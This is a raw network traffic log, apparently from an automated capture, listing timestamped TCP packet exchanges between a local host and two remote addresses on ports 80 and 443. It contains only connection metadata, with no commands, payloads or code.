Dec 6, 2024 22:08:55.595103979 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.595395088 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.595438004 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.595822096 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.595865965 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.596259117 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.596301079 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.596714020 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.596777916 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.597138882 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.597181082 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.597579002 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.597620964 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.598018885 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.598059893 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.598469973 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.598515987 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.598886967 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.598937035 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.599322081 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.599380970 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.599776983 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.599822998 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.600203991 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.600253105 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.600668907 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.600718021 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.601068974 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.601118088 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.601525068 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.601563931 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.601947069 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.601999998 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.602406979 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.602454901 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.602823019 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.602878094 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.603255987 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.603292942 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.603696108 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.603745937 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.604145050 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.604192972 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.604581118 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.604635954 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.605027914 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.605073929 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.605532885 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.605576038 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.605894089 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.605952978 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.606333017 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.606379032 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.606868982 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.606920004 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.607263088 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.607307911 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.607681990 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.607723951 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.608077049 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.608129025 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.608520985 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.608567953 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.608963013 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.609009981 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.609416008 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.609463930 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.609827042 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.609872103 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.610275030 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.610321999 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.610701084 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.610745907 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.611469030 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.611511946 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.611962080 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.612015009 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.612344027 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.612389088 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.647726059 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.647849083 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.647964954 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.648013115 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.648371935 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.648422956 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.648819923 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.648866892 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.649246931 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.649292946 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.649745941 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.649795055 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.650105000 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.650154114 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.705436945 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.705583096 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.705678940 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.705724955 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.706101894 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.706154108 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.706626892 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.706684113 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.707185030 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.707235098 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.707670927 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.707715034 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.708153009 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.708199978 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.708601952 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.708653927 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.709002018 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.709048986 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.709403038 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.709450006 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.709891081 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.709902048 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.709940910 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.710659027 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.710705996 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.711013079 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.711062908 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.711474895 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.711486101 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.711522102 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.712308884 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.712357998 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.712765932 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.712814093 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.713186979 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.713233948 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.713629961 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.713673115 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.714175940 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.714221001 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.714499950 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.714551926 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.714929104 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.714972019 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.715416908 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.715471983 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.715959072 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.715970039 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.716005087 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.716804028 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.716852903 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.772758961 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.772960901 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.773013115 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.773061991 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.773122072 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.773165941 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.773531914 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.773576975 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.774013042 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.774072886 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.774389982 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.774432898 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.774663925 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.774707079 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.775125980 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.775173903 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.775576115 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.775624037 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.775989056 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.776038885 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.776426077 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.776478052 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.776854038 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.776901960 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.777297974 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.777343988 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.777740955 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.777785063 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.778172016 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.778215885 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.778598070 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.778640032 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.779052973 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.779094934 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.779479980 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.779522896 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.779916048 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.779962063 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.780395985 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.780443907 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.780807972 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.780849934 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.781244993 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.781296968 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.781687975 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.781733990 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.782113075 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.782162905 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.782569885 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.782610893 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.783015966 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.783068895 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.783452988 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.783499956 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.783855915 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.783901930 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.784310102 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.784357071 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.784748077 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.784794092 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.785178900 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.785222054 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.785609961 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.785651922 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.786052942 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.786098957 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.786473989 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.786520958 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.786920071 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.786963940 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.787398100 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.787451982 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.787810087 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.787859917 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.788228035 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.788274050 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.788749933 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.788799047 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.789114952 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.789163113 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.789556980 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.789611101 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.789983988 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.790033102 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.790432930 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.790479898 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.790899992 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.790949106 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.791301966 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.791346073 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.791765928 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.791814089 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.792253971 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.792298079 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.792620897 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.792671919 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.793042898 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.793087006 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.793514967 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.793562889 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.794096947 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.794143915 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.794451952 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.794496059 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.794819117 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.794864893 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.795239925 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.795288086 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.795751095 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.795793056 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.796168089 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.796211958 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.796561956 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.796607971 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.796983004 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.797028065 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.797446966 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.797492027 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.797890902 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.797936916 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.798324108 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.798367977 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.798744917 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.798784971 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.799176931 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.799221992 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.799617052 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.799664021 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.800034046 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.800080061 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.800481081 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.800525904 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.800920010 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.800962925 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.801362038 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.801409960 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.801795006 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.801840067 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.802237034 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.802285910 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.802676916 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.802717924 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.803108931 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.803153992 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.803550959 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.803596020 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.803986073 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.804033995 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.804377079 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.804420948 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.827460051 CET	443	49805	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:55.827517033 CET	443	49805	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:55.827567101 CET	49805	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:55.827800035 CET	49805	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:55.827819109 CET	443	49805	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:55.827832937 CET	49805	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:55.827837944 CET	443	49805	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:55.830995083 CET	49810	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:55.831043005 CET	443	49810	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:55.831125975 CET	49810	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:55.831320047 CET	49810	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:55.831334114 CET	443	49810	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:55.836544991 CET	443	49806	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:55.836594105 CET	443	49806	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:55.836636066 CET	49806	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:55.836807013 CET	49806	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:55.836819887 CET	443	49806	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:55.836831093 CET	49806	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:55.836836100 CET	443	49806	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:55.839095116 CET	49811	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:55.839131117 CET	443	49811	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:55.839196920 CET	49811	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:55.839337111 CET	49811	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:55.839349031 CET	443	49811	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:55.839724064 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.839773893 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.839950085 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.839999914 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.840034962 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.840078115 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.840430975 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.840481043 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.840864897 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.840905905 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.841326952 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.841373920 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.841857910 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.841905117 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.842164040 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.842207909 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.897885084 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.897953033 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.898087978 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.898128033 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:55.898514032 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:55.898525953 CET	80	49789	185.215.113.206	192.168.2.7
